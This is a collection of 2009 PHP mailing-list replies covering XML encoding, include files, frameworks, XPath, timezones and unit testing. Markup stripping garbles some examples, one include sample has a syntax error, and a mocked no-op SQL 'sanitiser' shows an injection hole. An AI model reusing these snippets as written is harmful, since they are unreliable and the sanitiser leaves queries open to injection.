Joe Harman wrote: Hello, I am using PHP to build an XML file, but I keep on getting an XML error when open the file in Google Chrome. - This page contains the following errors: error on line 30 at column 318: Entity 'iuml' not defined Below is a rendering of the page up to the first error. is this something to do with document encoding? I am using these as headers for the script header(content-type:text/xml;charset=utf-8); header(Content-Disposition:attachment;filename=google_feed.xml); Thanks Joe looks like you have and in the file right before iuml which is making the browser think it is an entity - ie invalid xml - ie make sure all 's are actually amp; - should fix you up nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Error in Building an XML File
Joe Harman wrote: On Mon, Mar 9, 2009 at 9:53 AM, Bob McConnell r...@cbord.com wrote: From: Joe Harman I am using PHP to build an XML file, but I keep on getting an XML error when open the file in Google Chrome. - This page contains the following errors: error on line 30 at column 318: Entity 'iuml' not defined Below is a rendering of the page up to the first error. Okay, Thanks... appears the problem is that I have foreign language entities in my HTML... Ugh I am sure this is not really the most efficient way to do this, but I tried using the following to get rid of these, but it appears that it just converts them to this i¿½... $search = explode(,,ç,æ,œ,á,é,í,ó,ú,à,è,ì,ò,ù,ä,ë,ï,ö,ü,ÿ,â,ê,î,ô,û,å,e,i,ø,u); $replace = explode(,,c,ae,oe,a,e,i,o,u,a,e,i,o,u,a,e,i,o,u,y,a,e,i,o,u,a,e,i,o,u); $decode_string = str_replace($search, $replace, html_entity_decode($row_rsFeed['full_desc'])) I am going to read up some more on sanitizing HTML Joe you need to be dealing with encodings here; whats the encoding of the original content? iso-8859-1? - in short what you need is to convert all text to be utf-8, more than likely utf8_encode($whatchaNeed) will get you going in right direction. regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: PHP includes
Gary wrote: Thank you to everybody that replied...but it almost seems it is making extra work. I can understand using an include for a menu, since they tend to change often and it is on every page, but the normal content I am not understanding the benefit. If I have a page that has unique content on it, that is to say no other page has this content, why would I want to create a separate file to be included on the page, why would I not simple put the content directly on the page itself? What is the best type of file to be used as an include (.txt, .php). Thanks again for all your help. Gary Gary gwp...@ptd.net wrote in message news:8a.64.51087.33bf3...@pb1.pair.com... I'm working on learning php and have been toying with includes, and I am trying to figure the advantages/disadvantages to using them. I know that using them eliminates the need to put the files once altered as with a template, however, is that the only advantage. My particular concerns are with SEO and if the search engines and the bots can read the page if it is made completely on includes? Any and all comments would be appreciated. Gary Hi Gary, I think this thread is at risk of getting confusing and not addressing the problem at its root. An include is typically used to allow storing reusable code in a file all by itself, this could be a settings (config) file, a class, an html template or whatever - purpose being of course to keep you all nice and organised, with each thing in its place. Leaving out everything else and focusing only on why we'd use include/require in an application, let's take a simple example: Simple PHP Site with 3 Pages. 1 - / (the homepage) 2 - /?page=about (the about us page) 3 - /?page=contact (the contact us page) in the above scenario then your index.php could look like this ?php //set the default page to be home $page = 'home'; //check if a page has been specified if( isset($_GET['page']) ) { $page = $_GET['page']; } if( $page == 'home' ) { include 'home.php'; } elseif ( $page == 'about' ) { include 'about.php'; } else( $page == 'contact' ) { include 'contact.php'; } else { include 'page-not-found.php'; } ? very simple, but works; now let's expand it a bit.. in a real world scenario we probably have a good chunk of script at the top of index.php that holds database settings, database connection etc. and in each of our pages we probably have much of the html repeated (site header, footer, navigation) - we can then abstract these in to there own files to keep it all nice and clean.. as such ?php $page = 'home'; if( isset($_GET['page']) ) { $page = $_GET['page']; } // get site database settings require 'config.php'; // get our database class require 'classes/class.database.php'; // start out database $database = new DatabaseClass($settings_from_config); // load the site header include 'templates/header.php'; // load the content for the requested page if( $page == 'home' ) { include 'content/home.php'; } elseif ( $page == 'about' ) { include 'content/about.php'; } else( $page == 'contact' ) { include 'content/contact.php'; } else { include 'content/page-not-found.php'; } // load the site footer include 'templates/footer.php'; ? now everything is in its rightful place and we have lots of easy files to work with, for example now you can let a designer work on the about.php page knowing that they won't be able to break the whole application, as it's just a bit of html content. also, you can now change the header image in one file (templates/header.php) and the whole site will update. most PHP websites are simply far more complex versions of the above, look complicated but the principals are the same. now the only thing I didn't cover is which to use.. it's often the case that require_once and include_once should be used over include and require; because in most cases (certainly with classes) you just want to ensure the code is available. both of the _once statements will only load the file if it hasn't been already, thus ensuring no errors such as class already defined because it's already been included! On the other hand if the code in the file has been designed to be used many times on a page then include would be the better choice - a really stupid example but consider a file containing a fancy horizontal bar; you may want to include this many times on a page. Finally, require and require_once will kill the script with an error if the file isn't found, whereas include will throw an error and simply keep on going if the files isn't found. Think that covers everything in the scope of this :) Regards! Nathan -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: PHP includes
Gary wrote: Thank you to everybody that replied...but it almost seems it is making extra work. What is the best type of file to be used as an include (.txt, .php). new I forgot something! the best type of file to be used as an include differs on a case by case basis. name the files correctly and forget about dictating in advance, file extensions are there so people can easily identify what's in the file - and when you have 10,000 files you'll really appreciate this :p some_code.php some_html.html some_text.txt all of them can be included, and even reading the list you can pretty much guess what each contains. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] web refreshing problem
Andrew Williams wrote: Hi everyone, I discovered that error and warning messages from my program does not display automatically unless you refresh the page. and page also has the same problem. Does it has anything to do with the PHP - Apache settings. post your code - limited in what help we can give without it. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Hi!! I Joined the PHP Mailing List
Picu Priya wrote: Hello Everyone, I have just joined the PHP Community.. I hope, I will spend good time here.. I am already a PHP programmer, and Love to learn a lot of new php tricks while helping others, as best of my knowledge. :) welcome :-) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP Frameworks
Jason Norwood-Young wrote: haliphax wrote: Perhaps I should have phrased it a bit more concise: This has been discussed many times--often, and RECENTLY. Anyway, since I'm already writing this, I'll say that overhead/bloat vs. productivity of the developer is a trade-off you're going to have to make for ANY of the frameworks out there. I disagree somewhat. A good framework should actually reduce bloat. It encourages you to implement proper MVC architecture, helps you avoid those rambling function.php files, and if it's well built, things like DB connectivity should already be optimised. I like CI because it does all of that fairly well, and tends to perform faster than something some coder (like myself) hacked together in the smallest time-frame possible. I use it on some pretty big sites - one with DB's with 10's of millions of records, and one site with over 1.5 million users a month. Personal thumbs up for CI, but use whatever suits your skill level, timeframe and requirements. Some frameworks will increase bloat, but sometimes that's worth it to get the project out the door in a given timeframe. If you're doing a blog on caring for chickens, throw it up in an hour with WordPress. If you're planning on being the next NY Times, WordPress will not be a kind mistress. There are down sides to CI too, but it suits my needs for the types of sites I produce. J I agree with you're disagreement, a good framework will indeed reduce code bloat. fork post prong 1: *jumps on* the MVC thing, you can't just say mvc is the appropriate architecture for php applications; true many the frameworks follow the whole pythonesque MVC thing; but that doesn't make it any more the correct choice than any other architecture or design pattern. There is no fits all and all too often you see people trying to overstretch there framework of choice to something it just doesn't do and wasn't designed for (not as common as trying to fit drupal in a square hole though :p) prong 2: However IMHO there are other benefits which outweigh this: - multi other developers will be familiar with the codebase and be able to on board rapidly should the project expand - the client won't be left with some unknown codebase that only you really know (unless of course you want to tie the client in) - you learn well known re-usable code that you can take to other projects (and add to the cv) - bugs in code move from being a headache to an opportunity for improvement and benefit the community (and often fixed by others) - your code base is ever improving without you doing any work - and all the obvious stuff.. prong 3: If you're planning on being the next NY Times, WordPress will not be a kind mistress. - lol, I wish all clients understood this. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP Frameworks
Jason Norwood-Young wrote: haliphax wrote: On Mon, Mar 9, 2009 at 1:26 PM, Jason Norwood-Young ja...@freespeechpub.co.za wrote: haliphax wrote: Perhaps I should have phrased it a bit more concise: This has been discussed many times--often, and RECENTLY. Anyway, since I'm already writing this, I'll say that overhead/bloat vs. productivity of the developer is a trade-off you're going to have to make for ANY of the frameworks out there. I disagree somewhat. A good framework should actually reduce bloat. It encourages you to implement proper MVC architecture, helps you avoid those rambling function.php files, and if it's well built, things like DB connectivity should already be optimised. I like CI because it does all of that fairly well, and tends to perform faster than something some coder (like myself) hacked together in the smallest time-frame possible. I use it on some pretty big sites - one with DB's with 10's of millions of records, and one site with over 1.5 million users a month. Personal thumbs up for CI, but use whatever suits your skill level, timeframe and requirements. Some frameworks will increase bloat, but sometimes that's worth it to get the project out the door in a given timeframe. If you're doing a blog on caring for chickens, throw it up in an hour with WordPress. If you're planning on being the next NY Times, WordPress will not be a kind mistress. There are down sides to CI too, but it suits my needs for the types of sites I produce. Framework = Overhead (when compared to vanilla PHP). Period. I'm not saying it's overhead that will cripple your application, or that frameworks should be avoided... quite the contrary, in fact. I have recently fallen in love with CodeIgniter myself--I'm just saying that one should be at least respectfully aware of the overhead that comes hand-in-hand with a(ny) framework, and weigh those against what you feel is acceptable for your purpose. And I'm saying that using vanilla PHP sometimes (I'd say more often than not - especially with a group of developers of varying skill and experience) leads to sloppy programming, bad architecture and monolithic libraries, which in turn can lead to more overhead than simply starting with a framework. Not that a framework will save you from bad code - but it should point you in the right direction and make it obvious how you *should* do things. that's assuming the developer actually looks at the code; all too often if they can't even be arsed learning a more robust framework then they're not going to.. I'm sure you follow. learn by example works for me though :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP includes
Ashley Sheridan wrote: Just thought I'd point out that it's recommended against giving non-php extensions to PHP code pages. Basically, making all of your include files .inc without the server correctly configured to recognise all .inc files as PHP files, you are opening yourself up to possible hacks where people put the URL of your include directly in their browser and view all your code. Best thing is usually to name files like this: filename.inc.php or some-such, and not filename.inc. v well said - one thing you never want is your source showing! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP Frameworks
haliphax wrote: On Mon, Mar 9, 2009 at 2:50 PM, Nathan Rixham nrix...@gmail.com wrote: haliphax wrote: Framework = Overhead (when compared to vanilla PHP). Period. I'm not by vanilla do you mean vanilla from lussimo? [http://getvanilla.com/] ? You know damn well I didn't. :) I'd love to lol - but really no I dunno what you mean but glad you said no to that one lolol vanilla-mv.googlecode.com ? or? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Script execution
Daniel Brown wrote: On Mon, Mar 9, 2009 at 17:39, haliphax halip...@gmail.com wrote: That, or ***holes. That's what my name tag says. you got shot in the nametag 3 times? i dunno if that's good or bad luck! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Script execution
George Larson wrote: That's funny! I've been watching this and a few other lists (MySQL, local Linux Users' Group) for a few days - weeks and I had wondered why the PHP list seemed more hostile. :) may be something to do with the fact 95% of posts here could be covered by: - a 5 question faq - rtfm the only way to stay sane round here would be to develop alzheimer's [zero offence intended in any way] -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Script execution
haliphax wrote: On Mon, Mar 9, 2009 at 4:55 PM, Nathan Rixham nrix...@gmail.com wrote: Daniel Brown wrote: On Mon, Mar 9, 2009 at 17:39, haliphax halip...@gmail.com wrote: That, or ***holes. That's what my name tag says. you got shot in the nametag 3 times? i dunno if that's good or bad luck! Yep. Now nobody can tell it used to say ear holes anymore! :( warhole ^o) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: DOMDocument getElementsByAttribute ??
Michael A. Peters wrote: Seems like such a function does not exist in php. I can write my own function that does it using DOMElement-hasAttribute() - but I'm not sure how to get an array of every element in the DOM to test them for the attribute. Any hints? I'm sure it's simple, I'm just not seeing the function that does it. DOMXPath :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: DOMDocument getElementsByAttribute ??
Michael A. Peters wrote: Nathan Rixham wrote: Michael A. Peters wrote: Seems like such a function does not exist in php. I can write my own function that does it using DOMElement-hasAttribute() - but I'm not sure how to get an array of every element in the DOM to test them for the attribute. Any hints? I'm sure it's simple, I'm just not seeing the function that does it. DOMXPath :) I figured it out - $document-getElementsByTagName(*); seems to work just fine. I do need to find out more about XPath - unfortunately reading the examples that are out in the wild is troublesome because it seems 95% of them involve the deprecated dom model from pre php 5, so to make sense of them I would have to port the examples to php5 DOMDocument first. Xpath is easier than most think.. for example //p...@class='red'] that's all p tags with a class of red infact.. http://www.w3schools.com/XPath/xpath_syntax.asp covers about everything you'll need for normal stuff :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Setting Up A Web Subscription Service
revDAVE wrote: Rather than reinventing the wheel trying to set up a Web Subscription Service from scratch - I imagine there must be a good selection of Web Subscription Services, pre-made and maybe even open source apps (php/MySql ?) out there already. I'm not quite sure where to start looking however The basic need is to manage : - have customers sign up and get charged periodically - most likely monthly - yearly etc. - allow active members access to varied content pages. amember is pretty much the standard AFAIK -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: PHP timezone is unstable...
Dirk wrote: Hello, what could cause the timezone in PHP to, randomly, jump back and forth 6 hours now and then? from phpinfo(): date date/time support enabled Olson Timezone Database Version 0.system Timezone Database internal Default timezone America/Chicago DirectiveLocal ValueMaster Value date.default_latitude31.766731.7667 date.default_longitude35.233335.2333 date.sunrise_zenith90.5890.58 date.sunset_zenith90.5890.58 date.timezoneEurope/SwedenEurope/Sweden Default timezone jumps between America/Chicago and Europe/Berlin while date.timezone stays Europe/Sweden all the time... Dirk you're not on multiple load balanced / dns round robin servers are you..? -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP timezone is unstable...
Dirk wrote: Nathan Rixham wrote: Dirk wrote: Hello, what could cause the timezone in PHP to, randomly, jump back and forth 6 hours now and then? from phpinfo(): date date/time support enabled Olson Timezone Database Version 0.system Timezone Database internal Default timezone America/Chicago DirectiveLocal ValueMaster Value date.default_latitude31.766731.7667 date.default_longitude35.233335.2333 date.sunrise_zenith90.5890.58 date.sunset_zenith90.5890.58 date.timezoneEurope/SwedenEurope/Sweden Default timezone jumps between America/Chicago and Europe/Berlin while date.timezone stays Europe/Sweden all the time... Dirk you're not on multiple load balanced / dns round robin servers are you..? no.. it's just a home server... random.. home server is windows xp or vista, when you installed the os it was set to locale America/Chicago (control panel, locales) you then changed it to Europe/Sweden - as a developer you frequently hit a key combination by mistake which switches locale, and php picks it up to fix remove the extra america/chicago locale in control panel and problem sorted if thats it i'll eat my hat lol -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] non static function called as static one
Jochem Maas wrote: Olivier Doucet schreef: Hi Jochem, 2/ (or/and) Raise a warning or an error if a non static function is called as a static one develop with error_reporting set to E_ALL | E_STRICT, then you'll get a big fat warning about it Yes, that's what I'm using right now. Although, that's not the highlighted problem. if your not gettting a 'Strict Warning' when calling a non-static method statically then error_reporting doesn't include E_STRICT. I tested this with your example code on the cmdline to make sure. [...] the pragmatic solution is to not call non-static functions using static syntax. Well, this is the answer I didn't want :) I here that alot :-) Thank you for your feedback ! Olivier poor internal developers, they do have a tough job the message is pretty clear: Strict Standards: Non-static method MyTest::myfunc() should not be called statically, assuming $this from incompatible context in.. but the functionality is pretty weird, took me a while to get my head around.. until i came up with the scenario: what if this 'error' halted the compiler and threw a proper error then I imagined the massive outcry from the developers of millions of poorly coded scripts then I remembered php 4 and ran this: ?php error_reporting(E_STRICT); class MyTest { function myfunc() { echo get_class($this); } } class MySecondTest { function test() { MyTest::myfunc(); } } $test = new MySecondTest(); $test-test(); //output: MySecondTest ? and it all became clear mental though, part of me wishes they'd forked php at 4 to save all the lame syntax and weirdness. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] non static function called as static one
Nathan Rixham wrote: Jochem Maas wrote: Olivier Doucet schreef: mental though, part of me wishes they'd forked php at 4 to save all the lame syntax and weirdness. after thought.. I wish they'd forked it to OO and procedural, then us OO guys could have phpoo and be happy, and the procedural guys could have php and be happy because the oo one contained the word poo. :) -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: PHP/Apache: script unexpectedly invoked multiple times in parallel every 30 secs.
Marc Venturini wrote: Hi all, Thank you all very much for your contributions. I tried to monitor the network with Wireshark: there is only one request from my browser to the server, and not any answer (redirect or otherwise). This means the problem is definitely not with unexpected browser requests. Calling die() at the end of the script and removing the redirect did not change the behavior in any way. I like to think my code is good, and that the server calls the script in an unexpected way. The main reason for this belief is that I do not use multithreading at all, while the logs report the script is running several times in parallel and the network monitor reports a single browser request. I could not find in the docs any server configuration parameter which would re-invoke a script without killing its currently running instance. are you forking the script at all? if so you can't unless on the cli -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] today i found the best function I've ever seen
if( !function_exists('clean_sql_term') ) { function clean_sql_term($term) { return $term; } } beautiful -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] today i found the best function I've ever seen
Jason Pruim wrote: Daniel Brown wrote: On Mon, Mar 23, 2009 at 09:07, Igor Escobar titiolin...@gmail.com wrote: Do not try this at home... Sorry, all, I must have yelled. Two days later and my words are still echoing. ;-P Yeah... Would you keep your voice down You self titled oh so important person! :P bloody vagrants - get back to work :p -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Namespce operator
Jochem Maas wrote: Luke schreef: Backslash doesn't sound like it will look very pretty 2009/3/25 Richard Heyes rich...@php.net Backslash? Seriously? I'm hurt that my suggestion of ¬ (ASCII170 ?) wasn't used. :-( please kill this thread, the namespace operator was heavily discussed multiple times in the last 1-2 years on the internals mailing list. the decision was made a long, long time ago. yeah dunno what muppet reproposed the \ when ::: looking good lololololololololololol -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] I need ideas for things to code
Andrew Hucks wrote: I've been coding PHP for about a year, and I'm running out of things to code that force me to learn new things. If you have any suggestions, I'd greatly appreciate it. a: get paid to do it; pick up work on freelance sites and they'll give you the ideas + you'll get paid to do it b: see a -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Formating Numbers
Gary wrote: I cant seem to get this to work for me. I want the number to be formated to money (us, 2 decimal points). /** * returns 4.3 as $4.30 (formats us dollars) * * @param $amount * @return string */ function us_dollar_format( $amount ) { return ( '$' . number_format($amount, 2, '.', '') ); } echo us_dollar_format(4.3); -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Help with scandir()
Deivys Delgado Hernandez wrote: Hi, I'm having problems when i try to use the function scandir() in a Novell Netware Volumen or a Windows Shared Folder they both are mapped as a windows network drive, so i suppose i could access them as local drive, but i can't. instead i receive this message: Warning: scandir(R:\) [function.scandir]: failed to open dir: Invalid argument in C:\WebServ\wwwroot\htdocs\index.php on line 3 Warning: scandir() [function.scandir]: (errno 22): Invalid argument in C:\WebServ\wwwroot\htdocs\index.php on line 3 try using the network path instead :) you have to do this for samba drives on windows too. $dir = '//machine.local/share/path'; regards, nathan ps: many people just don't answer if they do not know -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] CamelCase conversion to proper_c_style
tedd wrote: At 9:40 AM +0100 4/27/09, Richard Heyes wrote: Hi, I know it's probably heresy for a lot of coders, but does anyone know a function or class or regexp or somesuch which will scan through a PHP file and convert all the CamelCase code into proper C-type code? That is, CamelCase gets converted to camel_case. I snagged a bunch of someone else's PHP code I'd like to modify, but it's coded the wrong way, so I'd like to fix it. (I'm teasing you CamelCase people. But I really would like to change this code around, because it doesn't happen to be my preference.) I'd say, if you must, then change as you go. If you do it all in a oner you'll likely introduce a shed load of problems. -- Richard Heyes Not only that. but it you leave each function alone until you work on it, then you'll have at least some indication of where/when an error has been introduced. Many time when I'm using a piece of code that isn't formatted as I like, I first get it to work as I want changing only the functions that I must change. After everything is working, I then step through the code, reformat, and change in small steps. HTH's tedd whereas I'd say it shouldn't be a problem to do automatically (but will be); just only use a tokenizer and not any form of regex or str_replace etc, that way you can be sure you are ONLY changing classes, methods, functions, function calls, variables etc you still may have some problems with any call_user_func or string references though! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: utf-8 ?
PJ wrote: Since I have to use a number of Western languages that have those annoying accents on many characters, I am already finding some annoyances in my code results; like having to enter the aacute; type of stuff in inputs for searches queries. MySql db is set up for InnoDB with latin1_swedish_ci for Collation; I believe this is default. in that case you'd have to convert all your databases to utf8 / utf_general_ci Utf-8 seems to be one way to overcome the problems, but is it the only way - seems a little cumbersome as I have no need for oriental other extra-terrestrial cyphers. (I'm incorrigibly lazy.) can't think of any good reason why you shouldn't be using utf-8.. If it is the only way, what difficulties could I expect from an ISP hosting a virtual site? none really AFAIK - but converting all your latin1 to utf-8 will be a very fun job indeed! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: utf-8 ?
Robert Cummings wrote: On Mon, 2009-04-27 at 20:56 +0600, 9el wrote: I looked at http://developer.loftdigital.com/blog/php-utf-8-cheatsheet which suggests this: ALTER DATABASE db_name CHARACTER SET utf8 DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT COLLATE utf8_general_ci ; ALTER TABLE tbl_name DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci ; or I could do it with phpMyAdmin, right? and the only difficulties would appear to be fixing any accent stuff (don't know yet just what) and that would only be time consuming. I guess I'm just looking for reassurance that I don't muck up anything and then have to do tortured acrobatics to redress things again. :-) Changing to UTF8 is time consuming but if programming can be used it would ease the effort. I have seen a WP plugin for that as well. And in phpmyAdmin you'll have to set the collation for all fields and tables one by one. :) I think some time ago I used combination of mysqldump and iconv, some minor editing, and then pumped it back into the database. Cheers, Rob. snap; also utf8_decode and utf8_encode I'm also sure there's a way to do it using by setting the client connection char set and server char set to do an auto conversion.. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Unit Testing
Philip Thompson wrote: Hi. I did some searching in the archives, but didn't quite find what I was looking for. Maybe a few of you can assist me... We have an application that's currently in production, but we're constantly modifying/upgrading it. We did not do unit testing early on because of the lack of time. Now that some time has opened up, we're considering unit testing. My question is. is it reasonable to start unit testing at this point in time with the application mostly built? Besides being really time-consuming, what are the pitfalls of starting unit testing at this stage? Thanks in advance, ~Philip maybe a useless answer, but, no pitfalls - just do it - I'm always surprised by my unit test results, its invaluable and it's never too late to start. just think about the next years worth of bugs found by the client not being there! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Re: Unit Testing
Philip Thompson wrote: On Apr 27, 2009, at 11:38 AM, Simon wrote: As a programmer, i always test what I'm coding as i code it (mostly to make sure i dont include typos), but i feel it is best to make proper testing once the component is ready and working fine. If your project is large, it might be a good idea to break it in several 'modules' or section if possible and treat each of them as separate projects (testing would be done on a module once this one is ready). You may be interested in looking for information on the net on 'IT project management' which usually describe when is the best time to test according to a certain structure... Simon On Mon, Apr 27, 2009 at 12:16 PM, Nathan Rixham nrix...@gmail.com wrote: Philip Thompson wrote: Hi. I did some searching in the archives, but didn't quite find what I was looking for. Maybe a few of you can assist me... We have an application that's currently in production, but we're constantly modifying/upgrading it. We did not do unit testing early on because of the lack of time. Now that some time has opened up, we're considering unit testing. My question is. is it reasonable to start unit testing at this point in time with the application mostly built? Besides being really time-consuming, what are the pitfalls of starting unit testing at this stage? Thanks in advance, ~Philip maybe a useless answer, but, no pitfalls - just do it - I'm always surprised by my unit test results, its invaluable and it's never too late to start. just think about the next years worth of bugs found by the client not being there! A question I have about unit testing. The point is to test individual units... correct? So, let's say I have this core class which creates instances of other classes. Well, if I only want test the core class, I don't want to instantiate the other classes... correct? Example: ?php // Core.php require ('Class1.php'); require ('Class2.php'); class Core { public function __construct () { $this-class1 = new Class1 ($this); $this-class2 = new Class2 ($this); } } // CoreTest.php require ('../PHPUnit/Framework.php'); require ('../includes/Core.php'); class CoreTest extends PHPUnit_Framework_TestCase { protected function setUp () { $this-core = new Core(); } } ? So, here, Class1 and Class2 will be instantiated. However, I don't really care for them to be so that I can test all the methods in the core class. Is this a perfect example of how the original design of the core class is not conducive to implementing unit tests? Without rewriting the core class, is there a way to test this? Thanks, ~Philip well Class1 and Class2 should have there own unit tests, so by the time you get to Core you know the others are good so it doesn't matter if they are called or not. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] speaking of control structures...
Robert Cummings wrote: On Wed, 2009-05-06 at 08:41 -0400, Tom Worster wrote: On 5/6/09 7:05 AM, Robert Cummings rob...@interjinn.com wrote: That seems like an abuse of exceptions. But then we're already abusing loops. I just don't think one could say it's the proper way to do it :) i don't have a lot of interest in the proper way to do things. i'm interested in how other programmers actually do things. I highly doubt they use exceptions. lol hello - I always seem to want to reply to your posts Rob! with exceptions.. if you're using an n-tier architecture then exceptions are the best thing to use here, you've got an exceptional state where criteria isn't met and this exception should be caught by the display layer and handled. But this isn't a discussion with an OOP variant it's more procedural, so def out of place imho. at the same time.. the functionality required and what is essentially a want for advanced separation of concerns is very oop so.. really.. this could easily be solved with OOP and it'd be an elegant reusable solution regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: SimpleXML Class
Cesco wrote: Could you help me clarify one thing that I don't understand... let's put it simple, just imagine that I have a tiny XML document with a list of movies: movies title iGone/i with bthe/b wind /title /movies I want to read this XML file and write the name of the first (and only) movie in the list; for this reason I have choose to use SimpleXML since it was looking quite user-friendly. But there's a thing I don't understand... when I have some children, how do I understand which is the first child and which is the last ? I have tried to write this, but I'm getting a wrong result: instead of Gone with the wind I got with wind Gone the, because I understand that the tag title contains all the text that is not formatted, and then it writes all the children of title: iGone/i and bthe/b ?php $xml = new SimpleXMLElement(moviestitleiGone/i with bthe/b wind/title/movies); echo ($xml-title . ); foreach ($xml-title-children() as $element) { echo ($element . ); } // Returns with wind Gone the ? I'm using PHP 5.2.5, could you tell me what am I doing wrong ? Thank you cdata movies title ![CDATA[iGone/i with bthe/b wind]] /title /movies -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Remote MySQL Connecton Problems
Ray Hauge wrote: Hello everyone, I've run into a bit of a sticky situation trying to connect to a remote MySQL database. Here's the background: Connecting from the command line on the web server works. Connecting from a different vhost works. There's no information in mysql_error. In fact, mysql_select_db('db') or die(mysql_error()); doesn't produce any output. The only way I know this isn't working is when I try to run a query, the result resource is NULL. If I copy the contents of the query and run it on the command line, from the web server, I get the results I expected. I manage both servers. I added the new login on the MySQL server and also ran flush privileges. I've gone so far as to reboot both the MySQL process and the apache process. The versions of MySQL are slightly different 5.0.24a (web) vs 5.0.36(db). It's getting late and I'm just grasping for straws. Thanks! Ray and thus: database server works - yes user and login works locally - yes user and login works remotely - yes user and login works on box in question - yes further debug: do mysql connections work for any host at all in php? - todo is the mysql module for php installed - todo check phpinfo() output is error reporting enabled - todo set error_reporting to E_ALL does a simple query such as show databases return any results is query properly formatted and are variables properly replaced in php version - todo check I'd reckon that by the time you've checked all the above - you'll have your own solution :) regards! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Re: Remote MySQL Connecton Problems
Ray Hauge wrote: Nathan Rixham wrote: Ray Hauge wrote: Hello everyone, I've run into a bit of a sticky situation trying to connect to a remote MySQL database. Here's the background: Connecting from the command line on the web server works. Connecting from a different vhost works. There's no information in mysql_error. In fact, mysql_select_db('db') or die(mysql_error()); doesn't produce any output. The only way I know this isn't working is when I try to run a query, the result resource is NULL. If I copy the contents of the query and run it on the command line, from the web server, I get the results I expected. I manage both servers. I added the new login on the MySQL server and also ran flush privileges. I've gone so far as to reboot both the MySQL process and the apache process. The versions of MySQL are slightly different 5.0.24a (web) vs 5.0.36(db). It's getting late and I'm just grasping for straws. Thanks! Ray and thus: database server works - yes user and login works locally - yes user and login works remotely - yes user and login works on box in question - yes further debug: do mysql connections work for any host at all in php? - todo is the mysql module for php installed - todo check phpinfo() output is error reporting enabled - todo set error_reporting to E_ALL does a simple query such as show databases return any results is query properly formatted and are variables properly replaced in php version - todo check I'd reckon that by the time you've checked all the above - you'll have your own solution :) regards! Thanks Nathan! I'm not sure what the problem was. I think I was tired and trying too hard to solve an issue that didn't exist. I was thinking that var_export($db_conn) would display MySQL Resource Id #1 or something similar, but it was displaying NULL. I took out all my debugging code and it's working fine now. Ray easy done Ray, all too often I do the same things - school boy errors in the early hours of the morning! -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] speaking of control structures...
